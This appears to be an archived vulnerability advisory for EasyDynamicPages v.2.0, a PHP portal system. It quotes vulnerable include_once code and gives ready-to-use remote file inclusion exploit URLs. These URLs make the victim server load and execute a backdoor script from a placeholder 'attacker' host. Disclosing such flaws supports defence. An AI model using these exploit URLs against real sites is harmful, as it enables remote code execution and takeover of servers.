<<< Date Index >>>     <<< Thread Index >>>

include() vuln in EasyDynamicPages v.2.0




Producr:EasyDynamicPages v.2.0: Advanced Portal Management System 
Vendors:http://software.stoitsov.com 
Bug :include() 
Risk:Cao 
Author:tsbeginnervn(c) 
Web : www.security.com.vn

------------------------------------- 
Introduction : 
system, personal or business site or what you need. 

The goal is to have an automated web site not only to distribute news and items 
with automated system but also easily to create and edit dynamic web pages 
(DynamicPages) without knowledge of html, php or whether you need to develop 
websites. 

Each user can submit news, comments, discuss articles and more. Registered 
users and administrators can additionally create and modify DynamicPages. 

Plugins included with the install are BookMarks manager, E-Publish, E-card and 
E-gallery systems and Yahoo-like E-Classifier system. 

Features: design/content separation, web admin, user-customizable theme 
management, SiteConfig manager, PageEdit manager, Search engine, Left-Right 
blocks system, editor to add news and for content management, modular 
DynamicalPages structure, system self install and more. 

Written in PHP, works on windows, unix, linux and requires PHP, Apache and 
MySQL. 


Vuln in files: 
/admin/config.php va /dynamicpages/fast/config_page.php 
================== 

The Code in File /admin/config.php : 

++++++++++++++++++++++++ 
include_once $edp_relative_path."admin/serverdata.php"; 
++++++++++++++++++++++++ 


Exploit: 
http://victim/admin/config.php/edp_relative_path=http://attacker/ 
Voi host cua attacker: 
http://attacker/admin/serverdata.php 

The code in File /dynamicpages/fast/config_page.php : 

++++++++++++++++++++++++ 
$ResultHtml=""; 
if ($do=="add_page") { 
switch($du) { 
case "site": include_once $edp_relative_path."admin/site_settings.php"; break; 
case "dpage": include_once $edp_relative_path."admin/dpage_settings.php"; 
break; 
++++++++++++++++++++++++ 

Exploit: 
http://victim/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://attacker/
 

If a attacker have Script backdoor in URL :   
http://attacker/admin/site_settings.php 

Then acttacker exploit : 

http://victim/dynamicpages/fast/config_page.php?do=add_page&du=dpage&edp_relative_path=http://attacker/
 


====================================================================

tsbeginnervn - BugSearch
www.security.com.vn